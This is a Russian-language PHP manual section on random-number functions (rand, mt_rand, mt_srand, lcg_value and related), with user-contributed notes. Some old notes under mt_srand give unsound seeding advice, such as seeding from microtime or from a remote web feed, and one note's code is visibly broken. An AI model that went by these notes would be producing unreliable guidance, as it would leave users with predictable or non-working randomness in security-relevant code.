  • Random\BrokenRandomEngineError — Класс Random\BrokenRandomEngineError
  • Random\RandomException — Класс Random\RandomException

User Contributed Notes

There are no user contributed notes for this page.


Введение

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы всегда доступны как часть ядра PHP.

MT_RAND_MT19937 (int)
Указывает, что правильная реализация » Mt19937 (Mersenne Twister) будет использоваться алгоритмом при создании экземпляра Random\Engine\Mt19937 с помощью метода Random\Engine\Mt19937::__construct() или при загрузке глобального Mersenne Twister с помощью функции mt_srand().
MT_RAND_PHP (int)
Указывает, что при создании экземпляра Random\Engine\Mt19937 с помощью метода Random\Engine\Mt19937::__construct() или при загрузке глобального Mersenne Twister с помощью функции mt_srand() алгоритм будет использовать некорректную реализацию Mersenne Twister. Некорректная реализация доступна для обратной совместимости с помощью функции mt_srand() до версии PHP 7.1.0.
Внимание

Данная функциональность объявлена УСТАРЕВШЕЙ, начиная с PHP 8.3.0 и её крайне не рекомендуется использовать.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Пример #1 Пример использования Random

<?php

/* ... */

?>

Результатом выполнения данного примера будет что-то подобное:

...

User Contributed Notes

There are no user contributed notes for this page.


Функции Random

Содержание

  • getrandmax — Возвращает максимально возможное случайное число
  • lcg_value — Комбинированный линейный конгруэнтный генератор
  • mt_getrandmax — Показывает максимально возможное значение случайного числа
  • mt_rand — Генерирует случайное значение методом с помощью генератора простых чисел на базе Вихря Мерсенна
  • mt_srand — Проинициализирует генератор случайных чисел на базе Вихря Мерсенна
  • rand — Генерирует случайное число
  • random_bytes — Получает криптографически безопасные случайные байты
  • random_int — Получает криптографически безопасное, равномерно выбранное целое число
  • srand — Изменяет начальное число генератора псевдослучайных чисел

User Contributed Notes

There are no user contributed notes for this page.


Возвращает максимально возможное случайное число

  • « Функции Random
  • lcg_value »
  • PHP Manual
  • Функции Random
  • Возвращает максимально возможное случайное число

getrandmax

(PHP 4, PHP 5, PHP 7, PHP 8)

getrandmax — Возвращает максимально возможное случайное число

Описание

getrandmax(): int

Возвращает максимальное значение, которое может быть получено функцией rand().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Максимально возможное случайное значение, возвращаемое функцией rand()

Смотрите также

  • rand() - Генерирует случайное число
  • srand() - Изменяет начальное число генератора псевдослучайных чисел
  • mt_getrandmax() - Показывает максимально возможное значение случайного числа

User Contributed Notes

Anonymous 09-Nov-2022 01:05
On a stock installation as of version 7.4.33 / 8.1.12, this function seems to return 2147483647 (maximum 32-bit integer).


Комбинированный линейный конгруэнтный генератор

  • « getrandmax
  • mt_getrandmax »
  • PHP Manual
  • Функции Random
  • Комбинированный линейный конгруэнтный генератор

lcg_value

(PHP 4, PHP 5, PHP 7, PHP 8)

lcg_value — Комбинированный линейный конгруэнтный генератор

Описание

lcg_value(): float

lcg_value() возвращает псевдослучайное значение в диапазоне (0, 1). Функция комбинирует два КГ с периодами 2^31 - 85 и 2^31 - 249. Период этой функции равен произведению базовых.

Предостережение

Функция не создаёт криптографически защищённые значения и не должна использоваться для криптографических целей или целей, требующих, чтобы возвращаемые значения были недоступны для разгадывания.

Если требуется криптографически безопасная случайная последовательность, Random\Randomizer может использоваться с движком Random\Engine\Secure. Для простых случаев использования функции random_int() и random_bytes() предоставляют удобный и безопасный API, поддерживаемый CSPRNG операционной системы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Псевдослучайное число с плавающей точкой в диапазоне от 0.0 до 1.0 включительно.

Смотрите также

  • rand() - Генерирует случайное число
  • mt_rand() - Генерирует случайное значение методом с помощью генератора простых чисел на базе Вихря Мерсенна

User Contributed Notes

Linndows 08-Aug-2016 02:02
I think best example...
<?php
$x=0;
while($x<=5){
$x++;
echo lcg_value()+$x."\n";   }
     echo lcg_value()+$x-(2*lcg_value()); echo "\n";
?>
daniel dot baulig at gmx dot de 03-Feb-2010 07:16
Choose your weapon:
<?php
function mt_randf($min, $max)
{
    return $min + abs($max - $min) * mt_rand(0, mt_getrandmax())/mt_getrandmax();
}
function lcg_randf($min, $max)
{
    return $min + lcg_value() * abs($max - $min);
}
function randf($min, $max)
{
    return $min + rand(0,getrandmax()) / getrandmax() * abs($max - $min);
}?>
rok kralj gmail com 05-Jun-2007 08:54
An elegant way to return random float between two numbers:

<?php
function random_float ($min,$max) {
   return ($min+lcg_value()*(abs($max-$min)));
}
?>


Показывает максимально возможное значение случайного числа

  • « lcg_value
  • mt_rand »
  • PHP Manual
  • Функции Random
  • Показывает максимально возможное значение случайного числа

mt_getrandmax

(PHP 4, PHP 5, PHP 7, PHP 8)

mt_getrandmax — Показывает максимально возможное значение случайного числа

Описание

mt_getrandmax(): int

Возвращает максимальное значение, которое может быть получено при вызове mt_rand().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает максимальное случайное значение, возвращаемое mt_rand(), вызванного без аргументов, то есть максимальное значение, которое можно передать в параметр max, так чтобы результат не округлился и, соответственно, не уменьшалась случайность.

Смотрите также

  • mt_rand() - Генерирует случайное значение методом с помощью генератора простых чисел на базе Вихря Мерсенна
  • mt_srand() - Проинициализирует генератор случайных чисел на базе Вихря Мерсенна
  • getrandmax() - Возвращает максимально возможное случайное число

User Contributed Notes

bishop at php dot net 09-Jul-2015 04:31
The upper-bound of this value is platform-independent.  PHP implements the 32-bit version of the Mersenne Twister ("mt"), so the maximum possible value is 2**31 - 1 (2147483647).


Генерирует случайное значение методом с помощью генератора простых чисел на базе Вихря Мерсенна

  • « mt_getrandmax
  • mt_srand »
  • PHP Manual
  • Функции Random
  • Генерирует случайное значение методом с помощью генератора простых чисел на базе Вихря Мерсенна

mt_rand

(PHP 4, PHP 5, PHP 7, PHP 8)

mt_rand — Генерирует случайное значение методом с помощью генератора простых чисел на базе Вихря Мерсенна

Описание

mt_rand(): int
mt_rand(int $min, int $max): int

Многие генераторы случайных чисел в старых библиотеках имеют сомнительные или неизвестные характеристики, а также работают довольно медленно. Функция mt_rand() представляет собой замену старой функции rand(). Она использует генератор случайных чисел с известными характеристиками, основанный на » Вихре Мерсенна, который генерирует случайные числа в среднем в четыре раза быстрее, чем libc rand().

Вызванная без необязательных параметров min и max, функция mt_rand() возвращает псевдослучайное значение между 0 и mt_getrandmax(). Если вам нужно, например, случайное число между 5 и 15 (включительно), используйте вызов mt_rand(5,15)

Предостережение

Функция не создаёт криптографически защищённые значения и не должна использоваться для криптографических целей или целей, требующих, чтобы возвращаемые значения были недоступны для разгадывания.

Если требуется криптографически безопасная случайная последовательность, Random\Randomizer может использоваться с движком Random\Engine\Secure. Для простых случаев использования функции random_int() и random_bytes() предоставляют удобный и безопасный API, поддерживаемый CSPRNG операционной системы.

Список параметров

min

Необязательный параметр: минимальное значение случайного числа (по умолчанию: 0)

max

Необязательный параметр: максимальное значение случайного числа (по умолчанию: mt_getrandmax())

Возвращаемые значения

Случайное целое значение между min (или 0) и max (или mt_getrandmax(), включительно), или false в случае, если max меньше min.

Список изменений

Версия | Описание
7.2.0 | Для mt_rand() произведено исправление бага смещения по модулю. Это означает, что последовательности сгенерированные с конкретным начальным значением могут отличаться от сгенерированных в PHP 7.1 для 64-битных машин.
7.1.0 | rand() теперь является псевдонимом для mt_rand().
7.1.0 | Функция mt_rand() была обновлена и теперь использует корректную версию генератора случайных чисел на основе Вихря Мерсенна. Для использования старого поведения, используйте mt_srand() со вторым параметром, установленным в MT_RAND_PHP.

Примеры

Пример #1 Пример использования mt_rand()

<?php
echo mt_rand(), "\n";
echo mt_rand(), "\n";

echo mt_rand(5, 15), "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

1604716014
1478613278
6

Примечания

Внимание

Диапазон min - max не должен выходить за границы mt_getrandmax(). То есть (max - min) <= mt_getrandmax(). В противном случае, mt_rand() может возвращать менее качественные случайные числа.

Смотрите также

  • mt_srand() - Проинициализирует генератор случайных чисел на базе Вихря Мерсенна
  • mt_getrandmax() - Показывает максимально возможное значение случайного числа
  • random_int() - Получает криптографически безопасное, равномерно выбранное целое число
  • random_bytes() - Получает криптографически безопасные случайные байты

User Contributed Notes

greald at ghvernuft dot nl 10-Jan-2023 07:00
To see some systematic deviations from a universal distribution run:

<?php
$alfabet = str_split('ADHKLMNPSTUWX');
$countalfabet = count($alfabet)-1;
$code = array_fill_keys($alfabet, 0);
for ($L=0; $L<80*$countalfabet; $L++)
{
  $lettr = floor(mt_rand ( 0, $countalfabet ));
  $code[$alfabet[$lettr]]++;
}

foreach($code as $L => $Freq)
{
  for($F=0; $F<$Freq; $F++)
  {
    echo $L;
  }
  echo "\n<br/>";
}
?>
Anonymous 20-Dec-2018 08:24
The seed is the PID + LCG (https://github.com/php/php-src/search?q=GENERATE_SEED&unscoped_q=GENERATE_SEED)
Pawe Krawczyk 05-Nov-2013 11:13
To reiterate the message about *not* using mt_rand() for anything security related, here's a new tool that has been just posted that recovers the seed value given a single mt_rand() output:

http://www.openwall.com/php_mt_seed/README


Проинициализирует генератор случайных чисел на базе Вихря Мерсенна

  • « mt_rand
  • rand »
  • PHP Manual
  • Функции Random
  • Проинициализирует генератор случайных чисел на базе Вихря Мерсенна

mt_srand

(PHP 4, PHP 5, PHP 7, PHP 8)

mt_srand — Проинициализирует генератор случайных чисел на базе Вихря Мерсенна

Описание

mt_srand(int $seed = 0, int $mode = MT_RAND_MT19937): void

Переинициализирует генератор случайных чисел параметром seed или случайным числом, если seed не указан.

Замечание: Нет необходимости инициализировать генератор случайных чисел функциями srand() или mt_srand(), поскольку это происходит автоматически.

Предостережение

Поскольку механизм Mt19937 ("Mersenne Twister") принимает в качестве значения только одно 32-битное целое число, количество возможных случайных последовательностей ограничено всего 232 (то есть 4 294 967 296), несмотря на огромный период Mt19937, равный 219937-1.

Если полагаться на неявное или явное случайное значение, дубликаты появятся гораздо раньше. Дублированные значения ожидаются с 50% вероятностью после менее чем 80 000 случайно сгенерированных значений в соответствии с проблемой дня рождения. Вероятность дублирования значений составляет 10% после случайной генерации примерно 30 000 значений.

Это делает Mt19937 непригодным для применения в тех случаях, когда дублирование последовательностей не должно происходить с более чем ничтожной вероятностью. Если требуется воспроизводимое значение, то движки Random\Engine\Xoshiro256StarStar и Random\Engine\PcgOneseq128XslRr64 поддерживают гораздо большие значения, которые вряд ли столкнутся случайно. Если воспроизводимость не требуется, механизм Random\Engine\Secure обеспечивает криптографически безопасную случайную последовательность.

Список параметров

seed

Необязательное целочисленное (int) значение параметра переинициализации

mode

Используйте одну из следующих констант для изменения реализации генератора.

  • MT_RAND_MT19937: Корректная реализация Mt19937, доступная начиная с PHP 7.1.0.
  • MT_RAND_PHP Использует некорректную реализацию Mersenne Twister, которая использовалась по умолчанию до версии PHP 7.1.0. Этот режим доступен для обратной совместимости.

Внимание

Данная функциональность объявлена УСТАРЕВШЕЙ, начиная с PHP 8.3.0 и её крайне не рекомендуется использовать.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
7.1.0 | srand() теперь является псевдонимом для mt_srand().
7.1.0 | mt_rand() была изменена для использования фиксированной, корректной версии алгоритма Вихря Мерсенна. Для отката к старому поведению, используйте mt_srand() со вторым параметром MT_RAND_PHP.

Смотрите также

  • mt_rand() - Генерирует случайное значение методом с помощью генератора простых чисел на базе Вихря Мерсенна
  • mt_getrandmax() - Показывает максимально возможное значение случайного числа
  • srand() - Изменяет начальное число генератора псевдослучайных чисел

User Contributed Notes

e at juresah dot si 15-Feb-2020 12:30
Please note that according to:
https://stackoverflow.com/a/11358829/2897386

The seed is automatically initialised with the current timestamp if not provided.

This means that your script will produce values of poor random quality if it's always run at a predictable time, for example by crontab. In that case it may be a good idea to initialise it manually from a cryptographically secure source.
Nibbels / downfight.de 04-Jun-2014 09:53
If you are new with seeding read my note.

I now understood seeding as a start-state of an algorithm. This algorithm generates a series of -following- pseudorandom numbers.
If you start generating from the same startvalue twice, you get the same series of random numbers twice in a row.

mt_srand(10); //start of your algorithm equals seeding set to 10
for($i=0;$i<10;$i++){
    echo mt_rand();
}

echo "<BR>";

mt_srand(10); //start of your algorithm equals seeding set back to 10
for($i=0;$i<10;$i++){
    echo mt_rand();
}

Output is like:
502355954641584702211262118810740890731360749216120791137454651988317865160461082451610903986200
<BR>
502355954641584702211262118810740890731360749216120791137454651988317865160461082451610903986200

My conclusion: Don't preset your seed to the same number all the time if you want "alternating random numbers"

Greetings
simon at labs dot coop 25-Dec-2013 09:19
I can't stress how important it is to seed your randomisation process in code! better still something we found in the BBS Days was if we didn't seed from a token from outside our systems abstraction layer we would go in circles and so would our users. Here at chronolabs we offer a feed of randomly changing token on each impression, it also randomly displays a different number of them this is from http://seed.feeds.labs.coop in the example below I use DOM to load the XML, Extract the randomisation tokens and then with mt_srand and srand seed the random selecting processes! The following function when you call it will seed your random selection process in both the old and new random selection routines all you need to do is call the function! This will work with any version of PHP 5 and any earlier with DOM Objectivity.

function makeRandomSeeded() {
    $file = 'http://seed.feeds.labs.coop/';
    $doc = new DOMDocument();
    $doc->loadHTMLFile($file);
    $skip = array('This feed can', 'Current mode is');
    $elements = $doc->getElementsByTagName('description');
    foreach($elements as $element) {
        $seed = $element->nodeValue;
        $found = false;
        foreach($skip as $find) {
            if (substr($seed, 0, strlen($find))==$find) {
                $found = true;
            }
        }
        if ($found==false)
            $seeds[] = $seed;
    }
    shuffle($seeds);
    mt_srand($seeds[mt_rand(0, count($seeds)-1)]);
    srand($seeds[mt_rand(0, count($seeds)-1)]);
}

Remember when PHP says an integer this also include any character of the Ascii chart if you would like to see an example of this do the following:

<?php
   $a = "000A";
   while($a!="001B") {
      echo $a;
      $a++;
   }
?>
php dot net-comment at lucb1e dot com 25-Dec-2013 12:20
@  fasaxc at yahoo dot com:

If you want truly random numbers, use a truly random source. Your system is rather unwieldy when you can simply call openssl_random_pseudo_bytes() for good randomness. Don't use microtime as a source of randomness.
josh at joshstrike dot com 25-Oct-2011 06:29
mt_srand effectively performs a modulo % 2147483648 on positive integers over 32 bits, but with negative integers it instead adds 2147483648 to the value it gets.

Seeds with equal results:
2147483649 == 1
2147483648 == 0
2147483647 == -1
-2147483646 == 2
-2147483647 == 1
-2147483648 == 0

Importantly though, seeding with anything less than -2147483648 will always yield the same result as seeding with zero.
limo at anime42 dot com 14-Apr-2010 07:33
I have spent the last couple of hours trying to track down a bug which affects mt_rand/rand and mt_srand/mt_rand.

OS is Debian 5.0.4 "Lenny".
PHP version is 5.3.2-0.dotdeb.1 with Suhosin-Patch (cli) (built: Mar  9 2010 11:42:01).

I have tried to fix the issue by appending the following lines into the .htaccess / apache2 main config file:

        php_value suhosin.mt_srand.ignore Off
        php_value suhosin.srand.ignore Off

This has helped a bit, stabilizing the beggining of the pseudo random number sequence, but the generator still fails after a fair number of iterations (roughly around 1K~3K.

*** Removing the Suhosin extension has resolved this issue, I am waiting for an official extension build that will work with 5.3.x so that I can reattach it into the php configuration. ***

Here is the code which ought to replicate the problem:

    $len = 100000;
    $min = 0;
    $max = 99;

    $t = (int)(microtime(true)*0xFFFF);

    $a = array();
    srand( $t );

    for ( $i = 0; $i < $len; $i ++ )
        $a[$i] = rand( $min, $max );

    $b = array();
    srand( $t );

    for ( $i = 0; $i < $len; $i ++ )
        $b[$i] = rand( $min, $max );

    for ( $i = 0; $i < $len; $i ++ )
        if ( $a[$i] !== $b[$i] )
            die( 'Pseudo-random sequence borked at #'.$i.'th iteration!');

    echo 'Your pseudo-random sequencer is working correctly.';
    exit( 0 );
dev at 10e12 dot net 23-Mar-2010 04:44
Sorry for the error in the previous...
Due to the glitch with the wordwrap I got annoyed and lost focus on the copy and paste move.

The last part of the actual function should read.

<?php
// select what we need to return
    if ((($retMax == 0)&&($retMax = mt_getrandmax))||
($retMin==$retMax)){
        return mt_rand();
    }else{
        return mt_rand($retMin,$retMax);
    }

?>

And Nothing else of course...
dev at 10e12 dot net 23-Mar-2010 03:56
What about this for an example...

(sorry for the funky line breaks but I have once
more reported the bug on this issue of word
wrapping to no avail)

Intending to use it in passing a "semi-guaranteed"
properly seeded random number to a client, then to
capture input from the user which must be encrypted
client side before being sent to the server again
  a) during the same session and,
  b) within a set time limit.

for more reading also see:
  AES Rijndael enc/dec routines for javaScript
  developed and tested by Herbert Hanewinkel,
  http://www.hanewin.net/encrypt/aes/aes.htm

<?php
/*
calling the function, prepping the data to send to
the client... , who then uses it in a javascript
implementation of AES Encrypt.
*/

function SHA256($str, $keyval=""){
    if ($keyval!==""){//not null or empty
        $sHash = mhash(Constant('MHASH_SHA256'),$str, $keyval);
    }else{
        $sHash = mhash(Constant('MHASH_SHA256'),$str);
    }
    // same as Binary 2 Hex conversion
    return implode(unpack('H*',$sHash),'');
}

/*---------------------------------------------------
Radomizing the random data with fixed data for
the user and location If return value maximum
is set to zero (0) the function uses mt_getrandmax
If both retMin and retMax is zero (0) the function
uses mt_rand w.o. limits
*----------------------------------------------------*/
function local_prgn($retMin = 0, $retMax = 0){
// first get the session id of the request session
  $sSrv = session_id();

// the following is valid only on the current server
  $sSrv = implode(unpack($_SERVER['SERVER_NAME'].
             $_SERVER['SERVER_ADDR'].$sSrv),'');

// the following applies only to the requesting client
  $sReq = implode(unpack($_SERVER['REMOTE_ADDR'].
             $_SERVER['REQUEST_TIME']),'');

// get a SHA256 seed based on the current values
  $sSeed = SHA256($sSrv,$sReq);

// get a random value based on the uniqueness of the seed above
    mt_srand($sSeed); // seed the random num gen

// some error handling and checking
    if ($retMin > $retMax){
    // swap vars if wrong order
        $rx = $retMax; $retMax = $retMin; $retMin = $rx;

    } else if ($retMin == $retMax){
    //meaningless range, not very random
    //ensure for next check in this range
        $retMin = 0; $retMax = 0;
    }
// select what we need to return
    if ((($retMax == 0)&&($retMax = mt_getrandmax))||
($retMin==$retMax)){
        return mt_getrandmax();
    }else{
        return mt_getrandmax($retMin,$retMax);
    }
}

?>
Alderin1 at gmail dot com 19-Nov-2007 10:55
I think Joe was a little confused by the wording.  The note meant that implementations of mt_rand() before the change would generate a different set of pseudorandom numbers than would implementations of mt_rand() after the change for the same seed.

That's how it reads for me, anyway.
Kapr 14-Jun-2007 10:25
To slonmron:
Seed for random numbers generator should be initialized only once, before calling proper rand function. After that you give pseudorandom sequence by multiple calling rand. Initialization of random seed is used if 1) You have better source of random seed than implemented algorithm or 2) if You need always the same sequence of pseudorandom numbers. Example given by You shows only that first rand result strongly depends on seed, what is by definition. It is not a bug.
slonmron_no_spam_please_ at yahoo dot com 15-Mar-2007 11:44
Looks like mt_rand() gives same result for different seeds when the lowest bits are different only. Try this:

#!/usr/bin/php -q
<?php

$min = -17;
$max = $min + 48; // 48 is to fit the results in my console

for ($testseed=$min; $testseed<$max; $testseed++)
{
    mt_srand( $testseed );
    $r = mt_rand();
    printf("mt_srand( 0x%08x ): mt_rand() == 0x%08x == %d\n", $testseed, $r, $r);
}

?>

This is a snapshop of the results:
...
mt_srand( 0xfffffffc ): mt_rand() == 0x0a223d97 == 170016151
mt_srand( 0xfffffffd ): mt_rand() == 0x0a223d97 == 170016151
mt_srand( 0xfffffffe ): mt_rand() == 0x350a9509 == 889885961
mt_srand( 0xffffffff ): mt_rand() == 0x350a9509 == 889885961
mt_srand( 0x00000000 ): mt_rand() == 0x71228443 == 1898087491
mt_srand( 0x00000001 ): mt_rand() == 0x71228443 == 1898087491
mt_srand( 0x00000002 ): mt_rand() == 0x4e0a2cdd == 1309289693
mt_srand( 0x00000003 ): mt_rand() == 0x4e0a2cdd == 1309289693
...

I found this occationally. I have no idea if it is a bug or not. In my real life I do not intend to use sequentional seeds. However, probably this may be important for somebody.
oxai NOSPAM post dot htnet dot hr 09-Sep-2006 11:14
try this instead(!):

<?php

// randomizes MT's seed once per process.

function randomizeProcessSeed()
{
    static $thisProcessHasBeenInitialized;

    if( $thisProcessHasBeenInitialized ) return;

    list($usec, $sec) = explode(' ', microtime());
    mt_srand( (10000000000 * (float)$usec) ^ (float)$sec );

    $thisProcessHasBeenInitialized = true;
} randomizeProcessSeed();
?>
vbassassin at coderheaven dot com 30-Nov-2005 08:57
"Better still: Use a 31-bit hash of microtime() as the seed. "

Correct me if i am wrong, but woudlnt using microtime() still limit the total seeds to 1,000,000 again? Since the 31-bit hash will always give the same hash for the same number, and in the microtime() function you could have 1,000,000 or less numbers. So in effect your still no better off at all :-p

Best regards,
scott

PS: I actually agree that PHP has pretty much resolved the issue and got as close as anyones going to get to solving the seeding issue by introducing the "Mersenne Twister" algorithm which creates a much larger pool than 1,000,000 numbers. Just because the mt_srand() function exists doesnt mean you HAVE to use it ;-) use it if you NEED a specific list of the same numbers (comes in handy for encryptions with passwords ;-)
fasaxc at yahoo dot co dot uk 25-Jul-2003 08:01
In fact, here's an even better function than the one below assuming your install provides a random entropy daemon and you're running *nix (to check for the former type "head -c 6 /dev/urandom" on the command line if available - if you get 6 random characters you're set). N.B. php must be able to find the head program so it must be in your path and allowed if you're running safe mode.

The functions db_set_global() and db_get_global() I use to set/get a variable from a central database but you could save/restore the variable from a file instead or just use the function get_random_word().

<?

####################################
## returns a random 32bit integer.
## Passing a parameter of True gives a better random
## number but relies on the /dev/random device
## which can block for a long time while it gathers
## enough random data ie. DONT USE IT unless
##   a) You have an entropy generator attatched to
## your computer set to /dev/random -OR-
##   b) Your script is running locally and generating
## a good random number is very important
####################################
function get_random_word($force_random=False) {
    if ($force_random) {
        $u='';
    } else {
        $u='u';
    }
    $ran_string=shell_exec("head -c 4 /dev/{$u}random");
    $random=ord(substr($ran_string,0,1))<<24 |
            ord(substr($ran_string,1,1))<<16 |
            ord(substr($ran_string,2,1))<<8 |
            ord(substr($ran_string,3,1));
    return $random;
}

--EITHER - IF YOU'VE SET UP A DATABASE OF GLOBAL VARIABLES--

## If the seed is found in the database
if ($seed=db_get_global('seed')) {
    # use mt_rand() to get the next seed
    mt_srand($seed);
    # then XOR that with a random word
    $seed=(mt_rand() ^ get_random_word());
} else {
## Make a completely new seed (First Run)
    # Generate the seed as a proper random no using /dev/random
    $seed=get_random_word(True);
    mt_srand($seed);
}

db_set_global('seed',$seed);

--OR JUST--
mt_srand(get_random_word());

?>
fasaxc at yahoo dot com 17-Jul-2003 04:14
The best way to ensure a random seed is to do the following:
To start:
   1) get your initial seed with mt_srand(microtime() * 1000000)
   2) generate a random no. $random=mt_rand()
   3) save this number in a file (or database or whatever so that it is available next time the page is loaded)

 Now, for each time your script is loaded :
   1) load the value you saved above and do $new_seed=($random+(microtime() * 1000000))%pow(2,32)
   2) mt_srand($new_seed);
   3) generate a new random no. $random=mt_rand()
   4) save that number back in the file/database

This procedure takes advantage not only of the randomness of microtime() but of all the previous calls to microtime() so your seed becomes better and better with time. It also generates good seeds even on platforms where microtime() doesn't take all the values it can.

Just using microtime() * 1000000 only results in 1000000 possible seeds (and less on some platforms as noted) - the function above gives 2^32 seeds with an avelanche effect accross multiple executions.
mrcheezy at hotmail dot com 17-Feb-2003 02:14
Very good points above on seeds, thank you. If you would like to test a seed try using the code below. It will take between 5 and 20 seconds depending on your system and then will spit out the number of reused keys out of 100,000 attempts.

;  for ($i=0; $i<100000; $i++) {
;    mt_srand(hexdec(substr(md5(microtime()), -8)) & 0x7fffffff);
;    $rand = mt_rand();
;
;    ($arr[$rand] == '1') ? $k++ : $arr[$rand] = '1';
;  }
maxim at php dot net 13-Jun-2002 02:57
to : l_rossato@libero.it

doing ...

list($usec,$sec)=explode(" ",microtime());
$unique = mt_srand($sec * $usec);

theoretiaclly, makes just as much sense as

list($usec,$sec)=explode(" ",microtime());
$unique = $usec + 0;

Once every while, depending on the microsecond resolution of your computer, the millisecond value will be a zero (0), and as I hope you know, in mathematics, any number multiplied by a zero becomes a zero itself.

(x * 0 = 0)

In real life, on a good machine, with a resolution to 1 million miliseconds per each second (i.e: Win2k server), you will be reduplicating your unique ID each million's ID issued. This means if you use it as your cookie encryption algorithm or a visitor ID, you will not exceed some million instances.

Futhermore, if that would be for a software development that you re-distribuite, installed on some weird old PC, where resolution can be as small as 100 milliseconds per second - a code with this uniqueness algorithm just wouldn't last any long.

Good Luck,

Maxim Maletsky
maxim@php.net

PHPBeginner.com
changminyang at hananet dot net 20-Feb-2002 02:00
list($usec,$sec) = explode(" ",microtime());

/* Test: Each get rand sequence are 10time. */
/* ex) 5.3point meaning 5point integer + 3point decimal */

// case A:
// 5.0point - 1time
// 6.0point - 9time
$rand = (double)microtime()*1000000;

// case B:
// 8.6point - 1time
// 9.4point - 1time
// 9.5point - 7time
// 10.3point - 1time
$rand = (double)$sec * $usec;

// My case A:
// 8.0point - 10time
$rand = explode(".",$usec * $sec);
$rand = (double)substr($rand[0]*$rand[1],0,8);

// My case B:
// 9.0point - 9time
// 10.0point - 1time
$rand = explode(".",$usec * $sec);
$rand = $rand[0] + $rand[1];

mt_srand($rand);
srand($rand);

// P.S> My previous note is has wrong lines, sorry about it.  This is right.


Генерирует случайное число

  • « mt_srand
  • random_bytes »
  • PHP Manual
  • Функции Random
  • Генерирует случайное число

rand

(PHP 4, PHP 5, PHP 7, PHP 8)

rand — Генерирует случайное число

Описание

rand(): int
rand(int $min, int $max): int

При вызове без параметров min и max, возвращает псевдослучайное целое в диапазоне от 0 до getrandmax(). Например, если вам нужно случайное число между 5 и 15 (включительно), вызовите rand(5, 15).

Предостережение

Функция не создаёт криптографически защищённые значения и не должна использоваться для криптографических целей или целей, требующих, чтобы возвращаемые значения были недоступны для разгадывания.

Если требуется криптографически безопасная случайная последовательность, Random\Randomizer может использоваться с движком Random\Engine\Secure. Для простых случаев использования функции random_int() и random_bytes() предоставляют удобный и безопасный API, поддерживаемый CSPRNG операционной системы.

Замечание: На некоторых платформах (таких как Windows) getrandmax() всего лишь 32767. Чтобы расширить диапазон, используйте параметры min и max, или обратитесь к функции mt_rand().

Замечание: Начиная с PHP 7.1.0, rand() использует тот же алгоритм получения случайных чисел, что и mt_rand(). Для сохранения обратной совместимости, функция rand() позволяет задавать параметр max меньше, чем параметр min. Функция mt_rand() в такой ситуации будет возвращать false

Список параметров

min

Наименьшее значение, которое может быть возвращено (по умолчанию: 0)

max

Наибольшее значение, которое может быть возвращено (по умолчанию: getrandmax())

Возвращаемые значения

Псевдослучайное значение в диапазоне от min (или 0) до max (или getrandmax()).

Список изменений

Версия | Описание
7.2.0 | Для rand() произведено исправление бага смещения по модулю. Это означает, что последовательности сгенерированные с конкретным начальным значением могут отличаться от сгенерированных в PHP 7.1 для 64-битных машин.
7.1.0 | rand() стала синонимом функции mt_rand().

Примеры

Пример #1 Пример использования rand()

<?php
echo rand(), "\n";
echo rand(), "\n";

echo rand(5, 15), "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

7771
22264
11

Примечания

Внимание

Диапазон min - max не должен выходить за границы getrandmax(). То есть (max - min) <= getrandmax(). В противном случае, rand() может возвращать менее качественные случайные числа.

Смотрите также

  • srand() - Изменяет начальное число генератора псевдослучайных чисел
  • getrandmax() - Возвращает максимально возможное случайное число
  • mt_rand() - Генерирует случайное значение методом с помощью генератора простых чисел на базе Вихря Мерсенна
  • random_int() - Получает криптографически безопасное, равномерно выбранное целое число
  • random_bytes() - Получает криптографически безопасные случайные байты

User Contributed Notes

play dot it at play-it dot net 17-Mar-2023 01:49
Here is a simple base64 random string function

<?php
function random_string($length) {
    $str = random_bytes($length);
    $str = base64_encode($str);
    $str = str_replace(["+", "/", "="], "", $str);
    $str = substr($str, 0, $length);
    return $str;
}

/*
Example outputs for random_string(32)

OP0vOJEsSvr6wbgN4jIwqMMstlpMSUsl
2IHaIxD2W4VTKZuzioudbpQCALdl6Ym6
QY0eZ3QYy3OKKN6ttzbDwAwsAfkXfQ2f
jznjlPCUDbYzOTJysPP414BbdVNu4jmT
GlktgJ8JUhdH5MfQ1PHl0wnqXQlKggQs
Pb9WALM3KcGCCPBKXsPgNfy3M0Xj4aEu
AED6OTVl8aBbspdxoXvA1sT4ein8lruH
9cSbz4FhoI4qSsPZFMh0u1rWDDEgQxI2
iSBlT4K7Ad516qPXgPReSj2tii7TAK5b
DuX8HByMb2e8IdM4j49Td2JTI9Ki7o1C
*/
?>
Anonymous 05-Oct-2020 11:07
Note that the algorithm change in version 7.1.0 broke the repeatability of a random sequence initialized with a given value. For example if you have a program like:

<?php
srand($argv[1]);
for ($i = 0; $i < 10; $i++) {
    echo rand().PHP_EOL;
}
?>

It will will no longer produce the same results after version 7.1.0. This can be very important for some kinds of simulations. Hopefully you were using mt_rand() or something better all along, otherwise you will have some digging to do if you want your program to be able to repeat simulations from the pre-7.1.0 days... You will need to look in the PHP source archives to discover the algorithm they used to use and replicate it in your program.
Anonymous 05-Mar-2010 06:41
Generate a random 5 character A-Z0-9  string

<?php
for ($i=0; $i<6; $i++) {
    $d=rand(1,30)%2;
    echo $d ? chr(rand(65,90)) : chr(rand(48,57));
}
?>

# php -r 'for ($i=0; $i<6; $i++) { $d=rand(1,30)%2; echo $d ? chr(rand(65,90)) : chr(rand(48,57)); } echo "\n";'
14BW1A
relsqui at armory dot com 21-Jan-2005 02:23
Don't forget, it's faster to use bitwise operations when you need a random number that's less than some power of two. For example,

<?php
rand()&1;
// instead of
rand(0,1);
// for generating 0 or 1,

rand()&3;
// instead of
rand(0,3);
// for generating 0, 1, 2, or 3,

rand()&7;
// instead of
rand(0,7)
// for generating 0, 1, 2, 3, 4, 5, 6, or 7,
?>

and so on. All you're doing there is generating a default random number (so PHP doesn't have to parse any arguments) and chopping off the piece that's useful to you (using a bitwise operation which is faster than even basic math).


Получает криптографически безопасные случайные байты

  • « rand
  • random_int »
  • PHP Manual
  • Функции Random
  • Получает криптографически безопасные случайные байты

random_bytes

(PHP 7, PHP 8)

random_bytes — Получает криптографически безопасные случайные байты

Описание

random_bytes(int $length): string

Создаёт строку, содержащую равномерно выбранные случайные байты с запрошенной длиной length.

